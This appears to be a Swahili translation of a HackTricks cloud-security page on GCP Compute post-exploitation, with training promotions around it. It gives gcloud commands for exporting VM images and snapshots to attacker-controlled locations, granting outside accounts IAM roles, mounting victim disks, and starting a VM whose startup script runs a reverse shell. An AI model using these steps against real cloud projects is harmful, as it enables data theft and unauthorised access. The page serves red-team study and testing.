GCP - Compute Post Exploitation
Reading time: 5 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Compute
Kwa maelezo zaidi kuhusu Compute na VPC (Networking) angalia:
Export & Inspect Images locally
Hii itamruhusu mshambuliaji kupata data iliyo ndani ya picha zilizopo tayari au kuunda picha mpya za VMs zinazofanya kazi na kupata data zao bila kuwa na ufikiaji wa VM inayofanya kazi.
Inawezekana kusafirisha picha ya VM hadi kwenye bucket kisha kuipakua na kuimount locally kwa amri:
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally
Kabla ya kufanya kitendo hiki, mshambuliaji anaweza kuhitaji mamlaka juu ya storage bucket na bila shaka mamlaka juu ya cloudbuild kwani ndiyo huduma itakayohitajika kufanya usafirishaji.
Zaidi ya hayo, ili hii ifanye kazi, codebuild SA na compute SA zinahitaji ruhusa za mamlaka.
cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com
inahitaji:
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser
Na SA <project-id>-compute@developer.gserviceaccount.com
inahitaji:
- roles/compute.storageAdmin
- roles/storage.objectAdmin
Usafirishaji & Ukaguzi wa Snapshots & Diski kwa Mitaa
Haiwezekani kusafirisha moja kwa moja snapshots na diski, lakini inawezekana kubadilisha snapshot kuwa diski, diski kuwa picha na kufuata sehemu ya awali, kusafirisha picha hiyo ili kuikagua kwa ndani.
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]
# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
Inspect an Image creating a VM
Kwa lengo la kufikia data iliyohifadhiwa katika picha au ndani ya VM inayotembea kutoka mahali ambapo mshambuliaji ameunda picha, inawezekana kutoa akaunti ya nje ufikiaji juu ya picha:
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
na kisha uunde VM mpya kutoka kwake:
gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
Ikiwa huwezi kutoa ufikiaji wa akaunti yako ya nje kupitia picha, unaweza kuzindua VM ukitumia picha hiyo katika mradi wa waathirika na kufanya metadata itekeleze shell ya kinyume ili kufikia picha hiyo kwa kuongeza param:
--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'
Kagua Snapshot/Diski kwa kuunganisha na VM
Kwa lengo la kufikia data iliyohifadhiwa kwenye diski au snapshot, unaweza kubadilisha snapshot kuwa diski, diski kuwa picha na kufuata hatua za awali.
Au unaweza kutoa akaunti ya nje ufikiaji juu ya diski (ikiwa hatua ya kuanzia ni snapshot toa ufikiaji juu ya snapshot au unda diski kutoka kwake):
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'
Unganisha diski kwa mfano:
gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]
Mount diski ndani ya VM:
- SSH ndani ya VM:
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
- Tambua Diski: Mara baada ya kuingia ndani ya VM, tambua diski mpya kwa kuorodhesha vifaa vya diski. Kawaida, unaweza kuipata kama
/dev/sdb
,/dev/sdc
, n.k. - Fanya Format na Mount Diski (ikiwa ni diski mpya au ya raw):
- Unda mahali pa ku-mount:
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
- Mount diski:
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
Ikiwa huwezi kutoa ufikiaji kwa mradi wa nje kwa snapshot au diski, huenda ukahitaji kufanya hatua hizi ndani ya mfano katika mradi sawa na snapshot/diski.
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.